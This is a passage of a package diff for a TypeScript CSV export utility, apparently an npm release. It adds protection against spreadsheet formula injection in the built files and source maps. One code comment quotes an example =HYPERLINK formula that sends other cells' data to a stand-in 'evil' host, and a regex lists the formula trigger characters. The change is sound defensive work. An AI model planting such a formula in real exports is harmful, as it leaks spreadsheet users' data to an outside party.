— the RFC's terminator and the one Excel is least\n * surprised by. A row is emitted for the header even when `rows` is empty, so the\n * person who opens the file sees which columns they asked for instead of a blank\n * document.\n *\n * @example\n * const csv = toCsv(users, [\n * { key: \"name\", header: \"Nome\" },\n * { key: \"email\", header: \"E-mail\" },\n * { key: \"plan\", header: \"Plano\", csv: (user) => user.plan.label },\n * ]);\n *\n * @param rows - The rows to export.\n * @param columns - Columns, in the order they should appear.\n * @param options - Delimiter and BOM.\n * @returns The complete file contents.\n */\nexport function toCsv<T>(\n rows: readonly T[],\n columns: readonly CsvColumn<T>[],\n options: CsvOptions = {},\n): string {\n const { delimiter = \",\", bom = true } = options;\n\n const lines = [columns.map((column) => escapeField(column.header, delimiter)).join(delimiter)];\n\n for (const row of rows) {\n const cells = columns.map((column) => {\n const raw = column.csv\n ? column.csv(row)\n : (row as Record<string, unknown>)[column.key as string];\n return escapeField(cellText(raw), delimiter);\n });\n lines.push(cells.join(delimiter));\n }\n\n return `${bom ? BOM : \"\"}${lines.join(\"\\r\\n\")}`;\n}\n\n/**\n * Build a CSV and hand it to the user.\n *\n * Goes through {@link shareOrDownloadBlob}, so on a phone it opens the native\n * share sheet and everywhere else it downloads — the same path every other\n * generated artifact in the SDK takes, instead of a fourth hand-rolled `<a\n * download>`.\n *\n * @example\n * await downloadCsv(users, COLUMNS, \"usuarios.csv\");\n *\n * @param rows - The rows to export.\n * @param columns - Columns, in the order they should appear.\n * @param fileName - File name offered to the user. Default `\"export.csv\"`.\n * @param options - Delimiter and BOM, forwarded to {@link toCsv}.\n * @returns A promise that resolves once the share or download completes.\n */\nexport async function downloadCsv<T>(\n rows: readonly T[],\n columns: readonly CsvColumn<T>[],\n fileName = \"export.csv\",\n options: CsvOptions = {},\n): Promise<void> {\n const blob = new Blob([toCsv(rows, columns, options)], {\n type: \"text/csv;charset=utf-8\",\n });\n await shareOrDownloadBlob(blob, fileName);\n}\n"],"mappings":"kDAqBA,IAAM,EAAM,IA2CZ,SAAS,EAAY,EAAe,EAA2B,CAO3D,OALI,EAAM,SAAS,CAAS,GACxB,EAAM,SAAS,GAAG,GAClB,EAAM,SAAS;CAAI,GACnB,EAAM,SAAS,IAAI,EAEhB,IAAI,EAAM,WAAW,IAAK,IAAI,EAAE,GADhB,CAE3B,CAYA,SAAS,EAAS,EAAwB,CAGtC,OAFI,GAAU,KAAoC,GAC9C,aAAiB,KAAa,EAAM,YAAY,EAC7C,OAAO,CAAK,CACvB,CAsBA,SAAgB,EACZ,EACA,EACA,EAAsB,CAAC,EACjB,CACN,GAAM,CAAE,YAAY,IAAK,MAAM,IAAS,EAElC,EAAQ,CAAC,EAAQ,IAAK,GAAW,EAAY,EAAO,OAAQ,CAAS,CAAC,CAAC,CAAC,KAAK,CAAS,CAAC,EAE7F,IAAK,IAAM,KAAO,EAAM,CACpB,IAAM,EAAQ,EAAQ,IAAK,GAIhB,EAAY,EAHP,EAAO,IACb,EAAO,IAAI,CAAG,EACb,EAAgC,EAAO,IACf,EAAG,CAAS,CAC9C,EACD,EAAM,KAAK,EAAM,KAAK,CAAS,CAAC,CACpC,CAEA,MAAO,GAAG,EAAM,EAAM,KAAK,EAAM,KAAK;CAAM,GAChD,CAmBA,eAAsB,EAClB,EACA,EACA,EAAW,aACX,EAAsB,CAAC,EACV,CACb,IAAM,EAAO,IAAI,KAAK,CAAC,EAAM,EAAM,EAAS,CAAO,CAAC,EAAG,CACnD,KAAM,wBACV,CAAC,EACD,MAAM,EAAA,oBAAoB,EAAM,CAAQ,CAC5C"}
|
|
1
|
+
{"version":3,"file":"csv.cjs","names":[],"sources":["../../src/utils/csv.ts"],"sourcesContent":["/**\n * @tempest-limits param-count — `downloadCsv(rows, columns, \"usuarios.csv\")` reads\n * in the order the sentence does, and its two trailing parameters have defaults,\n * so the common call passes three. Wrapping them in an object would break every\n * caller of a published export for no gain in what the call site says.\n */\n// CSV that survives contact with real data. Every app writes this by hand and\n// every hand-written version gets the same two things wrong: a value containing\n// the delimiter splits the row, and a value containing a quote breaks the quoting\n// it was supposed to be protected by. Both are one-liners in RFC 4180 and neither\n// is obvious until a customer's name has a comma in it.\n\nimport { shareOrDownloadBlob } from \"../share/share-or-download\";\n\n/**\n * Byte order mark, as the character `String.prototype` sees it.\n *\n * Excel on a pt-BR install reads a BOM-less UTF-8 file as Latin-1 and turns\n * every accented name into mojibake. It is three bytes to avoid a support\n * ticket, so it is on by default.\n */\nconst BOM = \"\\uFEFF\";\n\n/** One column of the exported file. */\nexport interface CsvColumn<T> {\n /** Property of the row this column reads from. Doubles as the column key. */\n key: keyof T;\n /** Column heading, written to the first line. */\n header: string;\n /**\n * Value for the file. Defaults to `String(row[key])`, with nullish becoming an\n * empty field.\n *\n * A `DataTableColumn` renders cells to `ReactNode`, which cannot be written to\n * a text file — a badge or a link would serialize as `[object Object]`. Give\n * the column this accessor and the export says what the badge said.\n */\n csv?: (row: T) => string | number | boolean | null | undefined;\n}\n\n/** Options for {@link toCsv}. */\nexport interface CsvOptions {\n /**\n * Field separator. Default `\",\"`.\n *\n * Use `\";\"` for Excel on a locale whose decimal separator is the comma —\n * which is every pt-BR install — otherwise it opens the file in one column.\n */\n delimiter?: \",\" | \";\";\n /** Prefix the output with a UTF-8 BOM. Default `true`. */\n bom?: boolean;\n /**\n * Prefix `'` to every text field that a spreadsheet would read as a formula.\n * Default `true`.\n *\n * A field starting with `=`, `+`, `-`, `@`, TAB or CR is a formula start by the\n * OWASP list (Excel and Google Sheets read it so; LibreOffice 26.2 evaluated only\n * `=`), and opening the file evaluates it: a name typed\n * as `=HYPERLINK(\"https://evil/?d=\"&A1,\"ver\")` turns into a link that exfiltrates\n * other cells (OWASP \"CSV Injection\"). Measured on LibreOffice 26.2: `=1+2` was\n * imported as the formula `of:=1+2` with value `3`. The default is the safe one\n * because the BOM and the `;` delimiter already aim the file at a spreadsheet,\n * and because the app that exports rarely controls every value in it.\n *\n * Text holding a `,`, `;` or TAB is also quoted whatever the delimiter\n * (#481): a spreadsheet whose list separator is not the file's would otherwise\n * split the bare field there and could start a cell with `=`. A quoted field is\n * not split, so the quotes close that path without touching the text —\n * `x;=1+2` is written `\"x;=1+2\"`.\n *\n * Numbers are never prefixed: a `number` cell, or a text field that is only a\n * number (`\"-5\"`, `\"-1.234,56\"`, `\"+42\"`, `\"1e-7\"`), cannot be a formula, and\n * neither can a lone `\"-\"`, which is left alone too. Pass\n * `false` when the file feeds another system's importer rather than a person's\n * spreadsheet, so the bytes round-trip unchanged and only the delimiter, quotes\n * and line breaks decide the quoting.\n */\n neutralizeFormulas?: boolean;\n}\n\n/** First characters that make a spreadsheet read a field as a formula (OWASP). */\nconst FORMULA_TRIGGER = /^[=+\\-@\\t\\r]/;\n\n/**\n * A text field that is only a number, in either decimal convention.\n *\n * These start with `-` or `+` but cannot be formulas, and prefixing them would\n * turn every negative amount in a report into text.\n */\nconst PLAIN_NUMBER = /^[+-]?(?:\\d+(?:[.,]\\d+)*|\\d*[.,]\\d+)(?:e[+-]?\\d+)?$/i;\n\n/**\n * Neutralize a text field a spreadsheet would evaluate.\n *\n * Two shapes are exempt from the OWASP trigger list: a plain number (see\n * {@link PLAIN_NUMBER}) and a lone `-`, the usual \"no value\" placeholder in a\n * report. A lone operator has no operand, so no spreadsheet can evaluate it, and\n * prefixing it printed `'-` in LibreOffice 26.2 where `-` read as text.\n *\n * Measured on LibreOffice 26.2 headless (`--infilter=\"CSV:59,34,76,1\"`) without\n * the prefix: `=1+2` was a formula; `+55 (11) 99999-9999`, `@maria`, a TAB before\n * `=`, a space before `=` and a quoted newline before `=` all stayed text. The\n * list is kept whole anyway — Excel and Google Sheets read `+`, `-`, `@` and TAB\n * as formula starts, and that is what OWASP's list is for. A space or newline\n * before `=` is not added: it read as text, not as a formula.\n *\n * Only the field start is checked. A `,`, `;` or TAB inside the text does not\n * get a `'` after it: the field is quoted (see {@link escapeField}), a quoted\n * field is not split by a spreadsheet whatever its list separator, and a `'`\n * mid-text would corrupt the value in every spreadsheet for no protection.\n *\n * @param value - The already-stringified field.\n * @returns The field with a leading `'` when it would read as a formula.\n */\nfunction neutralizeFormula(value: string): string {\n if (value === \"-\" || PLAIN_NUMBER.test(value)) return value;\n return FORMULA_TRIGGER.test(value) ? `'${value}` : value;\n}\n\n/**\n * Characters a spreadsheet may split a bare field on: either locale's list\n * separator (`,` in en-US, `;` in pt-BR) and TAB, which Excel's import also\n * offers. A file written with one delimiter is routinely opened by a spreadsheet\n * that splits on the other, so text holding any of them is quoted (see\n * {@link escapeField}).\n */\nconst LIST_SEPARATORS = /[,;\\t]/;\n\n/**\n * Quote one field per RFC 4180.\n *\n * A field is quoted when it contains the delimiter, a double quote, or a line\n * break; inside a quoted field, each double quote is doubled. With\n * `guardSeparators`, a text field holding any list separator (`,`, `;`, TAB —\n * see {@link LIST_SEPARATORS}) is quoted as well, whatever the delimiter, so a\n * spreadsheet that splits on the other locale's separator keeps it in one cell\n * (#481). A plain number is left out of that rule: it cannot carry a formula,\n * and `-1.234,56` in a `;` file stays as it was. Fields that need none of this\n * are written bare, which keeps the common file readable.\n *\n * @param value - The already-stringified field.\n * @param delimiter - The separator in use, which decides part of the quoting.\n * @param guardSeparators - Also quote text holding the other list separators;\n * on whenever formula neutralization is.\n * @returns The field, quoted if it has to be.\n */\nfunction escapeField(value: string, delimiter: string, guardSeparators: boolean): string {\n const mustQuote =\n value.includes(delimiter) ||\n (guardSeparators && LIST_SEPARATORS.test(value) && !PLAIN_NUMBER.test(value)) ||\n value.includes('\"') ||\n value.includes(\"\\n\") ||\n value.includes(\"\\r\");\n if (!mustQuote) return value;\n return `\"${value.replaceAll('\"', '\"\"')}\"`;\n}\n\n/**\n * Stringify one cell, keeping the difference between \"no value\" and \"zero\".\n *\n * `null` and `undefined` become an empty field; `0` and `false` are values\n * somebody chose and are written out. Getting this backwards is how an export\n * ends up under-reporting every row that legitimately holds a zero.\n *\n * Text — a string, or anything else stringified — goes through the formula\n * neutralization when it is on; numbers, bigints and booleans never do, since none\n * of them can stringify to a formula.\n *\n * @param value - The raw cell value.\n * @param neutralize - Whether to neutralize a formula-looking text field.\n * @returns The text to write.\n */\nfunction cellText(value: unknown, neutralize: boolean): string {\n if (value === null || value === undefined) return \"\";\n if (typeof value === \"number\" || typeof value === \"bigint\" || typeof value === \"boolean\") {\n return String(value);\n }\n if (value instanceof Date) return value.toISOString();\n return neutralize ? neutralizeFormula(String(value)) : String(value);\n}\n\n/**\n * Serialize rows to CSV text, RFC 4180 style.\n *\n * Rows are separated by `\\r\\n` — the RFC's terminator and the one Excel is least\n * surprised by. Text that a spreadsheet would evaluate as a formula is written\n * with a leading `'` unless `neutralizeFormulas` is `false` (see\n * {@link CsvOptions.neutralizeFormulas}). A row is emitted for the header even when `rows` is empty, so the\n * person who opens the file sees which columns they asked for instead of a blank\n * document.\n *\n * @example\n * const csv = toCsv(users, [\n * { key: \"name\", header: \"Nome\" },\n * { key: \"email\", header: \"E-mail\" },\n * { key: \"plan\", header: \"Plano\", csv: (user) => user.plan.label },\n * ]);\n *\n * @param rows - The rows to export.\n * @param columns - Columns, in the order they should appear.\n * @param options - Delimiter, BOM and formula neutralization.\n * @returns The complete file contents.\n */\nexport function toCsv<T>(\n rows: readonly T[],\n columns: readonly CsvColumn<T>[],\n options: CsvOptions = {},\n): string {\n const { delimiter = \",\", bom = true, neutralizeFormulas = true } = options;\n\n const lines = [\n columns\n .map((column) =>\n escapeField(\n cellText(column.header, neutralizeFormulas),\n delimiter,\n neutralizeFormulas,\n ),\n )\n .join(delimiter),\n ];\n\n for (const row of rows) {\n const cells = columns.map((column) => {\n const raw = column.csv\n ? column.csv(row)\n : (row as Record<string, unknown>)[column.key as string];\n return escapeField(cellText(raw, neutralizeFormulas), delimiter, neutralizeFormulas);\n });\n lines.push(cells.join(delimiter));\n }\n\n return `${bom ? BOM : \"\"}${lines.join(\"\\r\\n\")}`;\n}\n\n/**\n * Build a CSV and hand it to the user.\n *\n * Goes through {@link shareOrDownloadBlob}, so on a phone it opens the native\n * share sheet and everywhere else it downloads — the same path every other\n * generated artifact in the SDK takes, instead of a fourth hand-rolled `<a\n * download>`.\n *\n * @example\n * await downloadCsv(users, COLUMNS, \"usuarios.csv\");\n *\n * @param rows - The rows to export.\n * @param columns - Columns, in the order they should appear.\n * @param fileName - File name offered to the user. Default `\"export.csv\"`.\n * @param options - Delimiter, BOM and formula neutralization, forwarded to\n * {@link toCsv}.\n * @returns A promise that resolves once the share or download completes.\n */\nexport async function downloadCsv<T>(\n rows: readonly T[],\n columns: readonly CsvColumn<T>[],\n fileName = \"export.csv\",\n options: CsvOptions = {},\n): Promise<void> {\n const blob = new Blob([toCsv(rows, columns, options)], {\n type: \"text/csv;charset=utf-8\",\n });\n await shareOrDownloadBlob(blob, fileName);\n}\n"],"mappings":"kDAqBA,IAAM,EAAM,IA4DN,EAAkB,eAQlB,EAAe,uDAyBrB,SAAS,EAAkB,EAAuB,CAE9C,OADI,IAAU,KAAO,EAAa,KAAK,CAAK,EAAU,EAC/C,EAAgB,KAAK,CAAK,EAAI,IAAI,IAAU,CACvD,CASA,IAAM,EAAkB,SAoBxB,SAAS,EAAY,EAAe,EAAmB,EAAkC,CAQrF,OANI,EAAM,SAAS,CAAS,GACvB,GAAmB,EAAgB,KAAK,CAAK,GAAK,CAAC,EAAa,KAAK,CAAK,GAC3E,EAAM,SAAS,GAAG,GAClB,EAAM,SAAS;CAAI,GACnB,EAAM,SAAS,IAAI,EAEhB,IAAI,EAAM,WAAW,IAAK,IAAI,EAAE,GADhB,CAE3B,CAiBA,SAAS,EAAS,EAAgB,EAA6B,CAM3D,OALI,GAAU,KAAoC,GAC9C,OAAO,GAAU,UAAY,OAAO,GAAU,UAAY,OAAO,GAAU,UACpE,OAAO,CAAK,EAEnB,aAAiB,KAAa,EAAM,YAAY,EAC7C,EAAa,EAAkB,OAAO,CAAK,CAAC,EAAI,OAAO,CAAK,CACvE,CAwBA,SAAgB,EACZ,EACA,EACA,EAAsB,CAAC,EACjB,CACN,GAAM,CAAE,YAAY,IAAK,MAAM,GAAM,qBAAqB,IAAS,EAE7D,EAAQ,CACV,EACK,IAAK,GACF,EACI,EAAS,EAAO,OAAQ,CAAkB,EAC1C,EACA,CACJ,CACJ,CAAC,CACA,KAAK,CAAS,CACvB,EAEA,IAAK,IAAM,KAAO,EAAM,CACpB,IAAM,EAAQ,EAAQ,IAAK,GAIhB,EAAY,EAHP,EAAO,IACb,EAAO,IAAI,CAAG,EACb,EAAgC,EAAO,KACb,CAAkB,EAAG,EAAW,CAAkB,CACtF,EACD,EAAM,KAAK,EAAM,KAAK,CAAS,CAAC,CACpC,CAEA,MAAO,GAAG,EAAM,EAAM,KAAK,EAAM,KAAK;CAAM,GAChD,CAoBA,eAAsB,EAClB,EACA,EACA,EAAW,aACX,EAAsB,CAAC,EACV,CACb,IAAM,EAAO,IAAI,KAAK,CAAC,EAAM,EAAM,EAAS,CAAO,CAAC,EAAG,CACnD,KAAM,wBACV,CAAC,EACD,MAAM,EAAA,oBAAoB,EAAM,CAAQ,CAC5C"}
|
package/dist/utils/csv.js
CHANGED
|
@@ -1,25 +1,29 @@
|
|
|
1
1
|
import { shareOrDownloadBlob as e } from "../share/share-or-download.js";
|
|
2
2
|
//#region src/utils/csv.ts
|
|
3
|
-
var t = "";
|
|
4
|
-
function
|
|
5
|
-
return e
|
|
3
|
+
var t = "", n = /^[=+\-@\t\r]/, r = /^[+-]?(?:\d+(?:[.,]\d+)*|\d*[.,]\d+)(?:e[+-]?\d+)?$/i;
|
|
4
|
+
function i(e) {
|
|
5
|
+
return e === "-" || r.test(e) ? e : n.test(e) ? `'${e}` : e;
|
|
6
6
|
}
|
|
7
|
-
|
|
8
|
-
|
|
7
|
+
var a = /[,;\t]/;
|
|
8
|
+
function o(e, t, n) {
|
|
9
|
+
return e.includes(t) || n && a.test(e) && !r.test(e) || e.includes("\"") || e.includes("\n") || e.includes("\r") ? `"${e.replaceAll("\"", "\"\"")}"` : e;
|
|
9
10
|
}
|
|
10
|
-
function
|
|
11
|
-
|
|
11
|
+
function s(e, t) {
|
|
12
|
+
return e == null ? "" : typeof e == "number" || typeof e == "bigint" || typeof e == "boolean" ? String(e) : e instanceof Date ? e.toISOString() : t ? i(String(e)) : String(e);
|
|
13
|
+
}
|
|
14
|
+
function c(e, n, r = {}) {
|
|
15
|
+
let { delimiter: i = ",", bom: a = !0, neutralizeFormulas: c = !0 } = r, l = [n.map((e) => o(s(e.header, c), i, c)).join(i)];
|
|
12
16
|
for (let t of e) {
|
|
13
|
-
let e =
|
|
14
|
-
|
|
17
|
+
let e = n.map((e) => o(s(e.csv ? e.csv(t) : t[e.key], c), i, c));
|
|
18
|
+
l.push(e.join(i));
|
|
15
19
|
}
|
|
16
|
-
return `${
|
|
20
|
+
return `${a ? t : ""}${l.join("\r\n")}`;
|
|
17
21
|
}
|
|
18
|
-
async function
|
|
19
|
-
let
|
|
20
|
-
await e(
|
|
22
|
+
async function l(t, n, r = "export.csv", i = {}) {
|
|
23
|
+
let a = new Blob([c(t, n, i)], { type: "text/csv;charset=utf-8" });
|
|
24
|
+
await e(a, r);
|
|
21
25
|
}
|
|
22
26
|
//#endregion
|
|
23
|
-
export {
|
|
27
|
+
export { l as downloadCsv, c as toCsv };
|
|
24
28
|
|
|
25
29
|
//# sourceMappingURL=csv.js.map
|
package/dist/utils/csv.js.map
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"csv.js","names":[],"sources":["../../src/utils/csv.ts"],"sourcesContent":["/**\n * @tempest-limits param-count — `downloadCsv(rows, columns, \"usuarios.csv\")` reads\n * in the order the sentence does, and its two trailing parameters have defaults,\n * so the common call passes three. Wrapping them in an object would break every\n * caller of a published export for no gain in what the call site says.\n */\n// CSV that survives contact with real data. Every app writes this by hand and\n// every hand-written version gets the same two things wrong: a value containing\n// the delimiter splits the row, and a value containing a quote breaks the quoting\n// it was supposed to be protected by. Both are one-liners in RFC 4180 and neither\n// is obvious until a customer's name has a comma in it.\n\nimport { shareOrDownloadBlob } from \"../share/share-or-download\";\n\n/**\n * Byte order mark, as the character `String.prototype` sees it.\n *\n * Excel on a pt-BR install reads a BOM-less UTF-8 file as Latin-1 and turns\n * every accented name into mojibake. It is three bytes to avoid a support\n * ticket, so it is on by default.\n */\nconst BOM = \"\\uFEFF\";\n\n/** One column of the exported file. */\nexport interface CsvColumn<T> {\n /** Property of the row this column reads from. Doubles as the column key. */\n key: keyof T;\n /** Column heading, written to the first line. */\n header: string;\n /**\n * Value for the file. Defaults to `String(row[key])`, with nullish becoming an\n * empty field.\n *\n * A `DataTableColumn` renders cells to `ReactNode`, which cannot be written to\n * a text file — a badge or a link would serialize as `[object Object]`. Give\n * the column this accessor and the export says what the badge said.\n */\n csv?: (row: T) => string | number | boolean | null | undefined;\n}\n\n/** Options for {@link toCsv}. */\nexport interface CsvOptions {\n /**\n * Field separator. Default `\",\"`.\n *\n * Use `\";\"` for Excel on a locale whose decimal separator is the comma —\n * which is every pt-BR install — otherwise it opens the file in one column.\n */\n delimiter?: \",\" | \";\";\n /** Prefix the output with a UTF-8 BOM. Default `true`. */\n bom?: boolean;\n}\n\n/**\n * Quote one field per RFC 4180.\n *\n * A field is quoted when it contains the delimiter, a double quote, or a line\n * break; inside a quoted field, each double quote is doubled. Fields that need\n * none of this are written bare, which keeps the common file readable.\n *\n * @param value - The already-stringified field.\n * @param delimiter - The separator in use, which decides part of the quoting.\n * @returns The field, quoted if it has to be.\n */\nfunction escapeField(value: string, delimiter: string): string {\n const mustQuote =\n value.includes(delimiter) ||\n value.includes('\"') ||\n value.includes(\"\\n\") ||\n value.includes(\"\\r\");\n if (!mustQuote) return value;\n return `\"${value.replaceAll('\"', '\"\"')}\"`;\n}\n\n/**\n * Stringify one cell, keeping the difference between \"no value\" and \"zero\".\n *\n * `null` and `undefined` become an empty field; `0` and `false` are values\n * somebody chose and are written out. Getting this backwards is how an export\n * ends up under-reporting every row that legitimately holds a zero.\n *\n * @param value - The raw cell value.\n * @returns The text to write.\n */\nfunction cellText(value: unknown): string {\n if (value === null || value === undefined) return \"\";\n if (value instanceof Date) return value.toISOString();\n return String(value);\n}\n\n/**\n * Serialize rows to CSV text, RFC 4180 style.\n *\n * Rows are separated by `\\r\\n` — the RFC's terminator and the one Excel is least\n * surprised by. A row is emitted for the header even when `rows` is empty, so the\n * person who opens the file sees which columns they asked for instead of a blank\n * document.\n *\n * @example\n * const csv = toCsv(users, [\n * { key: \"name\", header: \"Nome\" },\n * { key: \"email\", header: \"E-mail\" },\n * { key: \"plan\", header: \"Plano\", csv: (user) => user.plan.label },\n * ]);\n *\n * @param rows - The rows to export.\n * @param columns - Columns, in the order they should appear.\n * @param options - Delimiter and BOM.\n * @returns The complete file contents.\n */\nexport function toCsv<T>(\n rows: readonly T[],\n columns: readonly CsvColumn<T>[],\n options: CsvOptions = {},\n): string {\n const { delimiter = \",\", bom = true } = options;\n\n const lines = [columns.map((column) => escapeField(column.header, delimiter)).join(delimiter)];\n\n for (const row of rows) {\n const cells = columns.map((column) => {\n const raw = column.csv\n ? column.csv(row)\n : (row as Record<string, unknown>)[column.key as string];\n return escapeField(cellText(raw), delimiter);\n });\n lines.push(cells.join(delimiter));\n }\n\n return `${bom ? BOM : \"\"}${lines.join(\"\\r\\n\")}`;\n}\n\n/**\n * Build a CSV and hand it to the user.\n *\n * Goes through {@link shareOrDownloadBlob}, so on a phone it opens the native\n * share sheet and everywhere else it downloads — the same path every other\n * generated artifact in the SDK takes, instead of a fourth hand-rolled `<a\n * download>`.\n *\n * @example\n * await downloadCsv(users, COLUMNS, \"usuarios.csv\");\n *\n * @param rows - The rows to export.\n * @param columns - Columns, in the order they should appear.\n * @param fileName - File name offered to the user. Default `\"export.csv\"`.\n * @param options - Delimiter and BOM, forwarded to {@link toCsv}.\n * @returns A promise that resolves once the share or download completes.\n */\nexport async function downloadCsv<T>(\n rows: readonly T[],\n columns: readonly CsvColumn<T>[],\n fileName = \"export.csv\",\n options: CsvOptions = {},\n): Promise<void> {\n const blob = new Blob([toCsv(rows, columns, options)], {\n type: \"text/csv;charset=utf-8\",\n });\n await shareOrDownloadBlob(blob, fileName);\n}\n"],"mappings":";;AAqBA,IAAM,IAAM;AA2CZ,SAAS,EAAY,GAAe,GAA2B;CAO3D,OALI,EAAM,SAAS,CAAS,KACxB,EAAM,SAAS,IAAG,KAClB,EAAM,SAAS,IAAI,KACnB,EAAM,SAAS,IAAI,IAEhB,IAAI,EAAM,WAAW,MAAK,MAAI,EAAE,KADhB;AAE3B;AAYA,SAAS,EAAS,GAAwB;CAGtC,OAFI,KAAU,OAAoC,KAC9C,aAAiB,OAAa,EAAM,YAAY,IAC7C,OAAO,CAAK;AACvB;AAsBA,SAAgB,EACZ,GACA,GACA,IAAsB,CAAC,GACjB;CACN,IAAM,EAAE,eAAY,KAAK,SAAM,OAAS,GAElC,IAAQ,CAAC,EAAQ,KAAK,MAAW,EAAY,EAAO,QAAQ,CAAS,CAAC,CAAC,CAAC,KAAK,CAAS,CAAC;CAE7F,KAAK,IAAM,KAAO,GAAM;EACpB,IAAM,IAAQ,EAAQ,KAAK,MAIhB,EAAY,EAHP,EAAO,MACb,EAAO,IAAI,CAAG,IACb,EAAgC,EAAO,IACf,GAAG,CAAS,CAC9C;EACD,EAAM,KAAK,EAAM,KAAK,CAAS,CAAC;CACpC;CAEA,OAAO,GAAG,IAAM,IAAM,KAAK,EAAM,KAAK,MAAM;AAChD;AAmBA,eAAsB,EAClB,GACA,GACA,IAAW,cACX,IAAsB,CAAC,GACV;CACb,IAAM,IAAO,IAAI,KAAK,CAAC,EAAM,GAAM,GAAS,CAAO,CAAC,GAAG,EACnD,MAAM,yBACV,CAAC;CACD,MAAM,EAAoB,GAAM,CAAQ;AAC5C"}
|
|
1
|
+
{"version":3,"file":"csv.js","names":[],"sources":["../../src/utils/csv.ts"],"sourcesContent":["/**\n * @tempest-limits param-count — `downloadCsv(rows, columns, \"usuarios.csv\")` reads\n * in the order the sentence does, and its two trailing parameters have defaults,\n * so the common call passes three. Wrapping them in an object would break every\n * caller of a published export for no gain in what the call site says.\n */\n// CSV that survives contact with real data. Every app writes this by hand and\n// every hand-written version gets the same two things wrong: a value containing\n// the delimiter splits the row, and a value containing a quote breaks the quoting\n// it was supposed to be protected by. Both are one-liners in RFC 4180 and neither\n// is obvious until a customer's name has a comma in it.\n\nimport { shareOrDownloadBlob } from \"../share/share-or-download\";\n\n/**\n * Byte order mark, as the character `String.prototype` sees it.\n *\n * Excel on a pt-BR install reads a BOM-less UTF-8 file as Latin-1 and turns\n * every accented name into mojibake. It is three bytes to avoid a support\n * ticket, so it is on by default.\n */\nconst BOM = \"\\uFEFF\";\n\n/** One column of the exported file. */\nexport interface CsvColumn<T> {\n /** Property of the row this column reads from. Doubles as the column key. */\n key: keyof T;\n /** Column heading, written to the first line. */\n header: string;\n /**\n * Value for the file. Defaults to `String(row[key])`, with nullish becoming an\n * empty field.\n *\n * A `DataTableColumn` renders cells to `ReactNode`, which cannot be written to\n * a text file — a badge or a link would serialize as `[object Object]`. Give\n * the column this accessor and the export says what the badge said.\n */\n csv?: (row: T) => string | number | boolean | null | undefined;\n}\n\n/** Options for {@link toCsv}. */\nexport interface CsvOptions {\n /**\n * Field separator. Default `\",\"`.\n *\n * Use `\";\"` for Excel on a locale whose decimal separator is the comma —\n * which is every pt-BR install — otherwise it opens the file in one column.\n */\n delimiter?: \",\" | \";\";\n /** Prefix the output with a UTF-8 BOM. Default `true`. */\n bom?: boolean;\n /**\n * Prefix `'` to every text field that a spreadsheet would read as a formula.\n * Default `true`.\n *\n * A field starting with `=`, `+`, `-`, `@`, TAB or CR is a formula start by the\n * OWASP list (Excel and Google Sheets read it so; LibreOffice 26.2 evaluated only\n * `=`), and opening the file evaluates it: a name typed\n * as `=HYPERLINK(\"https://evil/?d=\"&A1,\"ver\")` turns into a link that exfiltrates\n * other cells (OWASP \"CSV Injection\"). Measured on LibreOffice 26.2: `=1+2` was\n * imported as the formula `of:=1+2` with value `3`. The default is the safe one\n * because the BOM and the `;` delimiter already aim the file at a spreadsheet,\n * and because the app that exports rarely controls every value in it.\n *\n * Text holding a `,`, `;` or TAB is also quoted whatever the delimiter\n * (#481): a spreadsheet whose list separator is not the file's would otherwise\n * split the bare field there and could start a cell with `=`. A quoted field is\n * not split, so the quotes close that path without touching the text —\n * `x;=1+2` is written `\"x;=1+2\"`.\n *\n * Numbers are never prefixed: a `number` cell, or a text field that is only a\n * number (`\"-5\"`, `\"-1.234,56\"`, `\"+42\"`, `\"1e-7\"`), cannot be a formula, and\n * neither can a lone `\"-\"`, which is left alone too. Pass\n * `false` when the file feeds another system's importer rather than a person's\n * spreadsheet, so the bytes round-trip unchanged and only the delimiter, quotes\n * and line breaks decide the quoting.\n */\n neutralizeFormulas?: boolean;\n}\n\n/** First characters that make a spreadsheet read a field as a formula (OWASP). */\nconst FORMULA_TRIGGER = /^[=+\\-@\\t\\r]/;\n\n/**\n * A text field that is only a number, in either decimal convention.\n *\n * These start with `-` or `+` but cannot be formulas, and prefixing them would\n * turn every negative amount in a report into text.\n */\nconst PLAIN_NUMBER = /^[+-]?(?:\\d+(?:[.,]\\d+)*|\\d*[.,]\\d+)(?:e[+-]?\\d+)?$/i;\n\n/**\n * Neutralize a text field a spreadsheet would evaluate.\n *\n * Two shapes are exempt from the OWASP trigger list: a plain number (see\n * {@link PLAIN_NUMBER}) and a lone `-`, the usual \"no value\" placeholder in a\n * report. A lone operator has no operand, so no spreadsheet can evaluate it, and\n * prefixing it printed `'-` in LibreOffice 26.2 where `-` read as text.\n *\n * Measured on LibreOffice 26.2 headless (`--infilter=\"CSV:59,34,76,1\"`) without\n * the prefix: `=1+2` was a formula; `+55 (11) 99999-9999`, `@maria`, a TAB before\n * `=`, a space before `=` and a quoted newline before `=` all stayed text. The\n * list is kept whole anyway — Excel and Google Sheets read `+`, `-`, `@` and TAB\n * as formula starts, and that is what OWASP's list is for. A space or newline\n * before `=` is not added: it read as text, not as a formula.\n *\n * Only the field start is checked. A `,`, `;` or TAB inside the text does not\n * get a `'` after it: the field is quoted (see {@link escapeField}), a quoted\n * field is not split by a spreadsheet whatever its list separator, and a `'`\n * mid-text would corrupt the value in every spreadsheet for no protection.\n *\n * @param value - The already-stringified field.\n * @returns The field with a leading `'` when it would read as a formula.\n */\nfunction neutralizeFormula(value: string): string {\n if (value === \"-\" || PLAIN_NUMBER.test(value)) return value;\n return FORMULA_TRIGGER.test(value) ? `'${value}` : value;\n}\n\n/**\n * Characters a spreadsheet may split a bare field on: either locale's list\n * separator (`,` in en-US, `;` in pt-BR) and TAB, which Excel's import also\n * offers. A file written with one delimiter is routinely opened by a spreadsheet\n * that splits on the other, so text holding any of them is quoted (see\n * {@link escapeField}).\n */\nconst LIST_SEPARATORS = /[,;\\t]/;\n\n/**\n * Quote one field per RFC 4180.\n *\n * A field is quoted when it contains the delimiter, a double quote, or a line\n * break; inside a quoted field, each double quote is doubled. With\n * `guardSeparators`, a text field holding any list separator (`,`, `;`, TAB —\n * see {@link LIST_SEPARATORS}) is quoted as well, whatever the delimiter, so a\n * spreadsheet that splits on the other locale's separator keeps it in one cell\n * (#481). A plain number is left out of that rule: it cannot carry a formula,\n * and `-1.234,56` in a `;` file stays as it was. Fields that need none of this\n * are written bare, which keeps the common file readable.\n *\n * @param value - The already-stringified field.\n * @param delimiter - The separator in use, which decides part of the quoting.\n * @param guardSeparators - Also quote text holding the other list separators;\n * on whenever formula neutralization is.\n * @returns The field, quoted if it has to be.\n */\nfunction escapeField(value: 